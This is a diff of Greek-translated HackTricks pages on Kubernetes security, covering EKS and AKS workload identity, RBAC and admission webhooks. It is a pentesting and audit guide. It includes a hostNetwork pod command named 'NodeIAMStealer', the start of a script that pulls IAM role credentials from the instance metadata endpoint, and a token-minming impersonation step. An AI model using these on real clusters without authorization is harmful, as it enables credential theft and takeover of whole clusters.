αποκτήσεις πρόσβαση στο metadata endpoint απευθείας. +Για να αποκτήσεις πρόσβαση στο node metadata endpoint χρειάζεται να: +- Είσαι σε ένα pod και το metadata endpoint να έχει ρυθμιστεί σε τουλάχιστον 2 tcp hops. Αυτό είναι η πιο συνηθισμένη misconfiguration, καθώς συνήθως διαφορετικά pods στο cluster θα χρειάζονται πρόσβαση στο metadata endpoint για να μην σπάσουν και αρκετές εταιρείες απλώς αποφασίζουν να επιτρέψουν πρόσβαση στο metadata endpoint από όλα τα pods του cluster. +- Είσαι σε ένα pod με ενεργοποιημένο `hostNetwork`. +- Να κάνεις escape στο node και να αποκτήσεις πρόσβαση στο metadata endpoint απευθείας. (Σημείωσε ότι το metadata endpoint είναι στο 169.254.169.254 όπως πάντα). -Σε νεότερα περιβάλλοντα EKS, επαλήθευσε το node και το cluster mode πριν υποθέσεις ότι τα pods μπορούν να φτάσουν το node instance profile. Τα Amazon Linux 2023 EKS optimized AMIs έχουν προεπιλογή το IMDS hop limit στο 1, και το EKS Auto Mode ενεργοποιεί το `disablePodIMDS` by default, οπότε τα συνηθισμένα pods δεν θα πρέπει να λαμβάνουν node-role credentials εκτός αν ο operator άλλαξε αυτές τις ρυθμίσεις ή το pod έχει άλλη node-level διαδρομή όπως `hostNetwork` ή node compromise. Το προτεινόμενο pattern είναι να μπλοκάρεις την πρόσβαση των pods στο node IMDS και να χρησιμοποιείς IRSA ή EKS Pod Identity για AWS permissions του workload. +Σε νεότερα EKS environments, επιβεβαίωσε το node και το cluster mode πριν υποθέσεις ότι τα pods μπορούν να φτάσουν το node instance profile. Τα Amazon Linux 2023 EKS optimized AMIs έχουν προεπιλογή το IMDS hop limit στο 1, και το EKS Auto Mode ενεργοποιεί το `disablePodIMDS` από προεπιλογή, οπότε τα συνηθισμένα pods δεν θα πρέπει να λαμβάνουν node-role credentials εκτός αν ο operator άλλαξε αυτές τις ρυθμίσεις ή το pod έχει άλλο node-level path όπως `hostNetwork` ή node compromise. Το συνιστώμενο pattern είναι να μπλοκάρεις την πρόσβαση των pods στο node IMDS και να χρησιμοποιείς IRSA ή EKS Pod Identity για AWS permissions των workloads. -Για να **escape to the node** μπορείς να χρησιμοποιήσεις την ακόλουθη εντολή για να τρέξεις ένα pod με `hostNetwork` ενεργοποιημένο: +Για να **κάνεις escape στο node** μπορείς να χρησιμοποιήσεις την ακόλουθη εντολή για να τρέξεις ένα pod με ενεργοποιημένο `hostNetwork`: ```bash kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` ### Κλέψε IAM Role Token -Previously we have discussed how to **attach IAM Roles to Pods** or even how to **escape to the Node to steal the IAM Role** the instance has attached to it. +Previously έχουμε συζητήσει πώς να **attach IAM Roles to Pods** ή ακόμα και πώς να **escape to the Node to steal the IAM Role** που το instance έχει attached σε αυτό. -You can use the following script to **steal** your new hard worked **IAM role credentials**: +Μπορείς να χρησιμοποιήσεις το παρακάτω script για να **steal** τα νέα σου, με κόπο αποκτημένα, **IAM role credentials**: ```bash IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then @@ -287,11 +330,11 @@ fi ``` ### Privesc to cluster-admin -Συνοπτικά: αν είναι δυνατό να **access the EKS Node IAM role** από ένα pod, είναι δυνατό να **compromise the full kubernetes cluster**. +Συνοπτικά: αν είναι δυνατό να **access the EKS Node IAM role** από ένα pod, είναι δυνατό να **compromise ολόκληρο το kubernetes cluster**. -Για περισσότερες πληροφορίες δες [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Ως σύνοψη, το default IAM EKS role που ανατίθεται στα EKS nodes by default ανατίθεται στο role `system:node` μέσα στο cluster. Αυτό το role είναι πολύ ενδιαφέρον αν και περιορίζεται από τα kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction). +Για περισσότερες πληροφορίες, δες [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Συνοπτικά, το default IAM EKS role που αποδίδεται στα EKS nodes by default αποδίδεται με το role `system:node` μέσα στο cluster. Αυτό το role είναι πολύ ενδιαφέρον, αν και περιορίζεται από το kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction). -Ωστόσο, το node μπορεί πάντα να **generate tokens for service accounts** που τρέχουν σε pods μέσα στο node. Άρα, αν το node τρέχει ένα pod με privileged service account, το node μπορεί να generate ένα token για εκείνο το service account και να το χρησιμοποιήσει για να impersonate το service account όπως στο: +Ωστόσο, το node μπορεί πάντα να **generate tokens for service accounts** που τρέχουν σε pods μέσα στο node. Άρα, αν το node τρέχει ένα pod με privileged service account, το node μπορεί να generate ένα token για αυτό το service account και να το χρησιμοποιήσει για να impersonate το service account όπως στο: ```bash kubectl --context=node1 create token -n ns1 sa-priv \ --bound-object-kind=Pod \ @@ -300,13 +343,13 @@ kubectl --context=node1 create token -n ns1 sa-priv \ ``` ## Azure / AKS -Στο AKS, κράτα τρεις διαδρομές ταυτότητας ξεχωριστές κατά το assessment: +Στο AKS, κράτα τρεις διαδρομές ταυτότητας ξεχωριστές κατά τη διάρκεια της assessment: -- **Azure to Kubernetes**: Azure principals can retrieve user or admin kubeconfigs through Azure Resource Manager if their Azure RBAC role allows it. Local admin kubeconfigs from `az aks get-credentials --admin` are certificate-based credentials and can bypass normal Microsoft Entra user/group governance unless local accounts are disabled. -- **Microsoft Entra to Kubernetes**: Entra-integrated clusters authenticate users, groups, or service principals through `kubelogin`/exec kubeconfigs. The final Kubernetes action can be authorized by native Kubernetes RBAC or by Azure RBAC for Kubernetes Authorization. -- **Kubernetes to Azure**: Pods should normally use Microsoft Entra Workload ID, which exchanges projected Kubernetes service account tokens with Entra through the AKS OIDC issuer and federated identity credentials. +- **Azure to Kubernetes**: Azure principals μπορούν να ανακτήσουν user ή admin kubeconfigs μέσω Azure Resource Manager αν το Azure RBAC role τους το επιτρέπει. Τα local admin kubeconfigs από `az aks get-credentials --admin` είναι certificate-based credentials και μπορούν να παρακάμψουν το κανονικό Microsoft Entra user/group governance εκτός αν τα local accounts είναι disabled. +- **Microsoft Entra to Kubernetes**: Τα Entra-integrated clusters κάνουν authenticate users, groups ή service principals μέσω `kubelogin`/exec kubeconfigs. Η τελική Kubernetes action μπορεί να authorized από native Kubernetes RBAC ή από Azure RBAC for Kubernetes Authorization. +- **Kubernetes to Azure**: Τα Pods συνήθως πρέπει να χρησιμοποιούν Microsoft Entra Workload ID, το οποίο ανταλλάσσει projected Kubernetes service account tokens με Entra μέσω του AKS OIDC issuer και federated identity credentials. -Χρήσιμοι AKS identity checks από Azure: +Useful AKS identity checks from Azure: ```bash az aks show -g -n \ --query '{disableLocalAccounts:disableLocalAccounts,enableAzureRBAC:enableAzureRBAC,oidcIssuerProfile:oidcIssuerProfile,securityProfile:securityProfile,identity:identity,identityProfile:identityProfile,nodeResourceGroup:nodeResourceGroup}' \ @@ -316,7 +359,7 @@ AKS_ID=$(az aks show -g -n --query id -o tsv) az role assignment list --scope "$AKS_ID" --include-inherited -o table az role assignment list --scope "$AKS_ID/namespaces/" -o table ``` -Από το Kubernetes, αναζήτησε AKS Workload ID signals: +Από το Kubernetes, αναζητήστε AKS Workload ID signals: ```bash kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8 kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8 @@ -332,21 +375,43 @@ metadata: labels: azure.workload.identity/use: "true" ``` +Τα νεότερα AKS environments μπορεί να χρησιμοποιούν **AKS Identity Bindings** (preview) για να κλιμακώσουν το Workload ID σε πολλά clusters ή service accounts χωρίς να δημιουργούν ένα federated identity credential ανά subject. Σε αυτό το model, ένα user-assigned managed identity συνδέεται με το AKS cluster, τα workloads κάνουν opt in με `azure.workload.identity/use-identity-binding: "true"`, και το Kubernetes RBAC αποδίδει `use-managed-identity` σε `cid.wi.aks.azure.com` resources με ονόματα που βασίζονται στα managed identity client IDs. Ένα ευρύ `ClusterRoleBinding` εδώ μπορεί να εκθέσει το ίδιο Azure identity σε περισσότερα namespaces από όσα αναμένονταν, ακόμη κι αν τα direct federated identity credential subjects φαίνονται περιορισμένα. +```bash +az aks identity-binding list -g --cluster-name -o yaml +kubectl get clusterrole,clusterrolebinding -o yaml | grep -n 'cid.wi.aks.azure.com\|use-managed-identity' -B 8 -A 12 +kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use-identity-binding' -B 8 -A 12 +``` Αν το cluster εξακολουθεί να χρησιμοποιεί το deprecated Microsoft Entra pod-managed identity model, αναζήτησε τα παλιά CRDs και τα NMI/MIC components αντί για τα Workload ID annotations: ```bash kubectl get crd | grep -i azureidentity kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity' ``` -Τα AKS nodes είναι Azure VM scale set instances, οπότε η πρόσβαση σε node ή host-level μπορεί να εκθέσει το Azure Instance Metadata Service στο `169.254.169.254`. Μην υποθέτεις ότι ένα συνηθισμένο pod πρέπει να λαμβάνει node managed identity credentials: επαλήθευσε πρώτα τα workload identity settings, τη συμπεριφορά του legacy pod identity/NMI, τη χρήση hostNetwork, τα network controls και την πρόσβαση στο node. Αν ένα node identity έχει ευρεία Azure permissions, ένα node compromise μπορεί να γίνει Azure pivot ακόμα και όταν το application Workload ID είναι σωστά scoped. +Οι κόμβοι AKS είναι Azure VM scale set instances, οπότε η πρόσβαση σε επίπεδο node ή host μπορεί να εκθέσει το Azure Instance Metadata Service στο `169.254.169.254`. Μην υποθέτετε ότι ένα συνηθισμένο pod θα πρέπει να λαμβάνει node managed identity credentials: επαληθεύστε πρώτα τις ρυθμίσεις workload identity, τη legacy pod identity/NMI συμπεριφορά, τη χρήση hostNetwork, τα network controls και τη node access. Αν μια node identity έχει ευρείες Azure permissions, η compromise του node μπορεί να γίνει Azure pivot ακόμα και όταν το application Workload ID είναι σωστά scoped. -## References +Το AKS Automatic και το Node Auto-Provisioning (NAP) αλλάζουν τα evidence από την πλευρά των node που πρέπει να συλλέξετε. Το AKS Automatic προδιαμορφώνει αρκετά production defaults, συμπεριλαμβανομένων των Workload ID/OIDC support, managed node pools, node resource group lockdown και managed upgrade behavior. Το NAP είναι το managed Karpenter-based provisioning mode και χρησιμοποιεί Kubernetes resources όπως `NodePool`, `AKSNodeClass` και `NodeClaim` για να αποφασίσει ποια nodes θα δημιουργηθούν για pending workloads. Ελέγξτε ποιος μπορεί να τροποποιήσει αυτά τα resources, τα high-impact scheduling controls, τα privileged pods και τα broad tolerations· επίσης ελέγξτε αν το node resource group lockdown απέτρεψε απευθείας edits σε VMSS/load balancer και ανάγκασε τις αλλαγές να γίνουν ξανά μέσω Kubernetes ή AKS APIs. +```bash +az aks show -g -n \ +--query '{sku:sku,nodeProvisioningProfile:nodeProvisioningProfile,autoUpgradeProfile:autoUpgradeProfile,nodeResourceGroup:nodeResourceGroup,securityProfile:securityProfile}' \ +-o yaml + +kubectl get crd | grep -Ei 'nodepool|aksnodeclass|nodeclaim|karpenter' +kubectl get nodepools,aksnodeclasses,nodeclaims -A -o yaml 2>/dev/null +``` +## Αναφορές - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity) - [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c) - [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/) +- [https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html) +- [https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html) - [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity) - [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview) +- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts](https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts) +- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings](https://learn.microsoft.com/en-us/azure/aks/identity-bindings) - [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization) +- [https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic) +- [https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning](https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning) +- [https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown](https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md index cdae84a50..c783f67fc 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md @@ -4,54 +4,62 @@ ## Role-Based Access Control (RBAC) -Το Kubernetes έχει ένα **authorization module με όνομα Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) που βοηθά στον ορισμό permissions χρήσης για το API server. +Το Kubernetes έχει μια **authorization module με όνομα Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) που βοηθά στον ορισμό δικαιωμάτων χρήσης για το API server. -Το permission model του RBAC βασίζεται σε **τρία επιμέρους μέρη**: +Το RBAC permission model είναι χτισμένο από **τρία ξεχωριστά μέρη**: -1. **Role\ClusterRole –** Το πραγματικό permission. Περιέχει _**rules**_ που αντιπροσωπεύουν ένα σύνολο permissions. Κάθε rule περιέχει [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) και [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Το verb είναι η action που θα εφαρμοστεί στο resource. -2. **Subject (User, Group or ServiceAccount) –** Το αντικείμενο που θα λάβει τα permissions. +1. **Role\ClusterRole –** Η πραγματική permission. Περιέχει _**rules**_ που αντιπροσωπεύουν ένα σύνολο permissions. Κάθε rule περιέχει [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) και [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Το verb είναι η ενέργεια που θα εφαρμοστεί στο resource. +2. **Subject (User, Group or ServiceAccount) –** Το object που θα λάβει τα permissions. 3. **RoleBinding\ClusterRoleBinding –** Η σύνδεση μεταξύ Role\ClusterRole και του subject. ![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png) -Η διαφορά μεταξύ “**Roles**” και “**ClusterRoles**” είναι απλώς το πού θα εφαρμοστεί το role – ένα “**Role**” θα δώσει πρόσβαση μόνο σε **ένα** **συγκεκριμένο** **namespace**, ενώ ένα “**ClusterRole**” μπορεί να χρησιμοποιηθεί σε **όλα τα namespaces** στο cluster. Επιπλέον, τα **ClusterRoles** μπορούν επίσης να δώσουν πρόσβαση σε: +Η διαφορά μεταξύ “**Roles**” και “**ClusterRoles**” είναι απλώς το πού θα εφαρμοστεί το role – ένα “**Role**” θα δώσει access μόνο σε **ένα** **συγκεκριμένο** **namespace**, ενώ ένα “**ClusterRole**” μπορεί να χρησιμοποιηθεί σε **όλα τα namespaces** στο cluster. Επιπλέον, τα **ClusterRoles** μπορούν επίσης να δώσουν access σε: - **cluster-scoped** resources (όπως nodes). - **non-resource** endpoints (όπως /healthz). - namespaced resources (όπως Pods), **σε όλα τα namespaces**. -Από το **Kubernetes** 1.6 και μετά, οι **RBAC** policies είναι **ενεργοποιημένες από προεπιλογή**. Αλλά για να ενεργοποιήσεις το RBAC μπορείς να χρησιμοποιήσεις κάτι σαν: +Από το **Kubernetes** 1.6 και μετά, τα **RBAC** policies είναι **ενεργοποιημένα από προεπιλογή**. Αλλά για να ενεργοποιήσεις το RBAC μπορείς να χρησιμοποιήσεις κάτι σαν: ``` kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options ``` +Οι σύγχρονα clusters μπορούν επίσης να διαμορφώσουν το API server authorizer chain με `--authorization-config`, το οποίο δείχνει σε ένα αρχείο `AuthorizationConfiguration`. Αυτό το αρχείο μπορεί να ορίσει ordered authorizers, multiple webhook authorizers, webhook timeouts, `failurePolicy`, cache settings, και CEL `matchConditions` που αποφασίζουν ποια requests στέλνονται σε ένα webhook. Κατά τη διάρκεια ενός security review, μην σταματάς στο `--authorization-mode` αν υπάρχει το `--authorization-config`: διάβασε το αναφερόμενο αρχείο και έλεγξε αν ένα webhook μπορεί να fail open με `NoOpinion`, αν τα match conditions παρακάμπτουν sensitive resources, και αν όλα τα API server replicas χρησιμοποιούν ισοδύναμη authorization configuration. + +Έλεγξε επίσης την authentication configuration όταν εξετάζεις anonymous API exposure. Το `--authentication-config` μπορεί να περιορίσει τον anonymous authenticator σε συγκεκριμένα paths όπως `/livez`, `/readyz`, και `/healthz`. Η anonymous πρόσβαση στα health endpoints δεν είναι το ίδιο με anonymous πρόσβαση σε Kubernetes resources· η επικίνδυνη κατάσταση είναι ένα RBAC ή authorizer path που επιτρέπει στο `system:anonymous` ή `system:unauthenticated` να διαβάζει ή να τροποποιεί πραγματικά API objects. + +Τέλος, αντιμετώπισε τη συμμετοχή στο `system:masters` ως ισοδύναμη με cluster-admin. Users ή certificates σε αυτή την ομάδα έχουν unrestricted API access που παρακάμπτει τα κανονικά RBAC και webhook authorization restrictions, οπότε identity mappings που προσθέτουν αυτή την ομάδα μπορεί να είναι πιο σημαντικά από το συνηθισμένο RoleBinding output. + ## Templates -Στο template ενός **Role** ή ενός **ClusterRole** θα χρειαστεί να καθορίσεις το **name of the role**, το **namespace** (στα roles) και μετά τα **apiGroups**, **resources** και **verbs** του role: +Στο template ενός **Role** ή ενός **ClusterRole** θα χρειαστεί να δηλώσεις το **όνομα του role**, το **namespace** (σε roles) και έπειτα τα **apiGroups**, **resources** και **verbs** του role: -- Τα **apiGroups** είναι ένας πίνακας που περιέχει τα διαφορετικά **API namespaces** στα οποία εφαρμόζεται αυτός ο κανόνας. Για παράδειγμα, ένας Pod definition χρησιμοποιεί apiVersion: v1. _Μπορεί να έχει τιμές όπως rbac.authorization.k8s.io ή \[\*]_. -- Τα **resources** είναι ένας πίνακας που ορίζει **σε ποια resources εφαρμόζεται αυτός ο κανόνας**. Μπορείς να βρεις όλα τα resources με: `kubectl api-resources --namespaced=true` -- Τα **verbs** είναι ένας πίνακας που περιέχει τα **allowed verbs**. Το verb στο Kubernetes ορίζει τον **τύπο ενέργειας** που πρέπει να εφαρμόσεις στο resource. Για παράδειγμα, το verb list χρησιμοποιείται σε collections, ενώ το "get" χρησιμοποιείται σε ένα μεμονωμένο resource. +- Το **apiGroups** είναι ένα array που περιέχει τα διαφορετικά **API namespaces** στα οποία εφαρμόζεται αυτός ο κανόνας. Για παράδειγμα, ένα Pod definition χρησιμοποιεί apiVersion: v1. _Μπορεί να έχει τιμές όπως rbac.authorization.k8s.io ή \[\*]_. +- Το **resources** είναι ένα array που ορίζει **σε ποια resources εφαρμόζεται αυτός ο κανόνας**. Μπορείς να βρεις όλα τα resources με: `kubectl api-resources --namespaced=true` +- Το **verbs** είναι ένα array που περιέχει τα **allowed verbs**. Το verb στο Kubernetes ορίζει τον **τύπο ενέργειας** που χρειάζεται να εφαρμόσεις στο resource. Για παράδειγμα, το verb list χρησιμοποιείται σε collections ενώ το "get" χρησιμοποιείται σε ένα μεμονωμένο resource. ### Rules Verbs -(_Αυτές οι πληροφορίες λήφθηκαν από_ [_**τα docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb)) +(_Αυτές οι πληροφορίες λήφθηκαν από_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb)) | HTTP verb | request verb | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | | POST | create | -| GET, HEAD | get (για μεμονωμένα resources), list (για collections, including full object content), watch (για watching ένα μεμονωμένο resource ή collection of resources) | +| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | | PUT | update | | PATCH | patch | -| DELETE | delete (για μεμονωμένα resources), deletecollection (για collections) | +| DELETE | delete (for individual resources), deletecollection (for collections) | -Το Kubernetes μερικές φορές ελέγχει authorization για πρόσθετα permissions χρησιμοποιώντας specialized verbs. Για παράδειγμα: +Το Kubernetes μερικές φορές ελέγχει authorization για επιπλέον permissions χρησιμοποιώντας specialized verbs. Για παράδειγμα: - [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) -- `use` verb στα `podsecuritypolicies` resources στο `policy` API group. +- `use` verb σε `podsecuritypolicies` resources στο `policy` API group. - [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) -- `bind` και `escalate` verbs στα `roles` και `clusterroles` resources στο `rbac.authorization.k8s.io` API group. +- `bind` και `escalate` verbs σε `roles` και `clusterroles` resources στο `rbac.authorization.k8s.io` API group. - [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/) -- `impersonate` verb στα `users`, `groups`, και `serviceaccounts` στο core API group, και τα `userextras` στο `authentication.k8s.io` API group. +- `impersonate` verb σε `users`, `groups`, και `serviceaccounts` στο core API group, και στα `userextras` στο `authentication.k8s.io` API group. + +Το Kubernetes v1.36 περιλαμβάνει επίσης **constrained impersonation** ως beta feature. Αντί να δίνει μόνο το παλιό all-or-nothing `impersonate` verb, τα clusters μπορούν να δώσουν mode-specific verbs όπως `impersonate:user-info`, `impersonate:serviceaccount`, `impersonate:arbitrary-node`, ή `impersonate:associated-node`, μαζί με action-specific verbs όπως `impersonate-on:user-info:list` στο target resource. Εξέτασε και τα δύο σκέλη: την identity που μπορεί να impersonate το subject και τις ενέργειες που μπορεί να εκτελέσει ενώ κάνει impersonating. Τα legacy `impersonate` rules μπορούν ακόμα να επιτρέπουν ευρύτερη πρόσβαση, οπότε μην υποθέτεις ότι τα constrained-looking verbs επιβάλλονται εκτός αν η έκδοση του API server και τα access-review στοιχεία το επιβεβαιώνουν. > [!WARNING] > Μπορείς να βρεις **όλα τα verbs που υποστηρίζει κάθε resource** εκτελώντας `kubectl api-resources --sort-by name -o wide` @@ -80,13 +88,13 @@ rules: resources: ["secrets"] verbs: ["get", "watch", "list"] ``` -Για παράδειγμα, μπορείτε να χρησιμοποιήσετε ένα **ClusterRole** για να επιτρέψετε σε έναν συγκεκριμένο χρήστη να εκτελεί: +Για παράδειγμα, μπορείτε να χρησιμοποιήσετε ένα **ClusterRole** για να επιτρέψετε σε έναν συγκεκριμένο χρήστη να εκτελέσει: ``` kubectl get pods --all-namespaces ``` ### **RoleBinding και ClusterRoleBinding** -[**Από τα docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Ένα **role binding παραχωρεί τα permissions που ορίζονται σε ένα role σε έναν user ή σε ένα σύνολο users**. Περιέχει μια λίστα από subjects (users, groups, ή service accounts), και μια αναφορά στο role που παραχωρείται. Ένα **RoleBinding** παραχωρεί permissions μέσα σε ένα συγκεκριμένο **namespace**, ενώ ένα **ClusterRoleBinding** παραχωρεί αυτή την πρόσβαση **cluster-wide**. +[**Από τα docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Ένα **role binding εκχωρεί τα permissions που ορίζονται σε ένα role σε έναν user ή σε ένα σύνολο από users**. Περιέχει μια λίστα από subjects (users, groups, ή service accounts), και μια αναφορά στο role που εκχωρείται. Ένα **RoleBinding** εκχωρεί permissions μέσα σε ένα συγκεκριμένο **namespace**, ενώ ένα **ClusterRoleBinding** εκχωρεί αυτό το access σε επίπεδο **cluster-wide**. ```yaml:RoleBinding apiVersion: rbac.authorization.k8s.io/v1 # This role binding allows "jane" to read pods in the "default" namespace. @@ -122,13 +130,13 @@ kind: ClusterRole name: secret-reader apiGroup: rbac.authorization.k8s.io ``` -**Τα δικαιώματα είναι προσθετικά** οπότε αν έχεις ένα clusterRole με “list” και “delete” secrets μπορείς να το προσθέσεις με ένα Role με “get”. Άρα να είσαι προσεκτικός και να δοκιμάζεις πάντα τα roles και permissions σου και να **καθορίζεις τι ΕΠΙΤΡΕΠΕΤΑΙ, γιατί όλα είναι ΑΠΑΓΟΡΕΥΜΕΝΑ by default.** +**Τα permissions είναι additive** οπότε αν έχεις ένα clusterRole με “list” και “delete” secrets μπορείς να το προσθέσεις με ένα Role με “get”. Γι’ αυτό να είσαι προσεκτικός και να κάνεις πάντα test τα roles και permissions σου και να **καθορίζεις τι ΕΠΙΤΡΕΠΕΤΑΙ, γιατί τα πάντα είναι ΑΠΑΓΟΡΕΥΜΕΝΑ by default.** -### Λεπτομέρειες που αξίζει να ελεγχθούν +### Λεπτομέρειες που αξίζει να ελέγξεις -Το RBAC χρησιμοποιεί τα resource names όπως εμφανίζονται στα API URLs, όχι το YAML `kind`. Ένα Pod είναι `pods`, ένα Deployment είναι `deployments`, και τα subresources γράφονται με μια κάθετο όπως `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` ή `services/proxy`. Ένα permission στα `pods` δεν δίνει αυτόματα access στα `pods/exec` ή `pods/log`. +Το RBAC χρησιμοποιεί resource names όπως εμφανίζονται στα API URLs, όχι το YAML `kind`. Ένα Pod είναι `pods`, ένα Deployment είναι `deployments`, και τα subresources γράφονται με slash όπως `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` ή `services/proxy`. Μια permission στα `pods` δεν δίνει αυτόματα πρόσβαση στα `pods/exec` ή `pods/log`. -Το `resourceNames` μπορεί να περιορίσει ορισμένα requests σε συγκεκριμένα object names: +`resourceNames` μπορεί να περιορίσει ορισμένα requests σε συγκεκριμένα object names: ```yaml rules: - apiGroups: [""] @@ -136,17 +144,18 @@ resources: ["configmaps"] resourceNames: ["app-config"] verbs: ["get", "update"] ``` -Αυτό δεν περιορίζει το top-level `create` ή `deletecollection` by όνομα. Για `list` και `watch`, ο client πρέπει να περιλαμβάνει ένα αντίστοιχο `metadata.name` field selector, διαφορετικά το αίτημα δεν είναι authorized από αυτόν τον κανόνα: +Αυτό δεν περιορίζει το top-level `create` ή `deletecollection` by name. Για `list` και `watch`, ο client πρέπει να περιλαμβάνει ένα αντίστοιχο `metadata.name` field selector, διαφορετικά το request δεν είναι authorized από αυτόν τον rule: ```bash kubectl get configmaps -n default --field-selector=metadata.name=app-config ``` -Χρησιμοποιήστε ακριβείς access reviews για ελέγχους υψηλού αντίκτυπου: +Χρησιμοποίησε ακριβείς access reviews για ελέγχους υψηλού αντίκτυπου: ```bash kubectl auth can-i create pods/exec -n default kubectl auth can-i create serviceaccounts/token -n default kubectl auth can-i impersonate users kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io +kubectl auth can-i impersonate-on:user-info:list pods -n default ``` ## **Απαρίθμηση RBAC** ```bash diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md index 88a08ef22..d6ff6cfe1 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md @@ -2,28 +2,28 @@ {{#include ../../banners/hacktricks-training.md}} -**Ο αρχικός συγγραφέας αυτής της σελίδας είναι** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) +**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) -## Ορισμός +## Definition -`ValidatingWebhookConfiguration` είναι ένας πόρος του Kubernetes που καταχωρεί ένα ή περισσότερα validating admission webhooks. Αυτά τα webhooks λαμβάνουν αιτήματα AdmissionReview από τον API server μετά την authentication και authorization, αλλά πριν αποθηκευτεί το αντικείμενο. +`ValidatingWebhookConfiguration` είναι ένα Kubernetes resource που καταχωρεί ένα ή περισσότερα validating admission webhooks. Αυτά τα webhooks λαμβάνουν AdmissionReview requests από το API server μετά το authentication και authorization, αλλά πριν το object αποθηκευτεί. -Τα validating webhooks μπορούν να απορρίψουν ένα αίτημα. Τα mutating webhooks, που ρυθμίζονται με `MutatingWebhookConfiguration`, μπορούν πρώτα να αλλάξουν το αντικείμενο. Οι security reviews θα πρέπει συνήθως να εξετάζουν και τους δύο πόρους επειδή ένα κακόβουλο ή αδύναμο mutating webhook μπορεί να ξαναγράψει workloads, ενώ ένα validating webhook ή policy engine 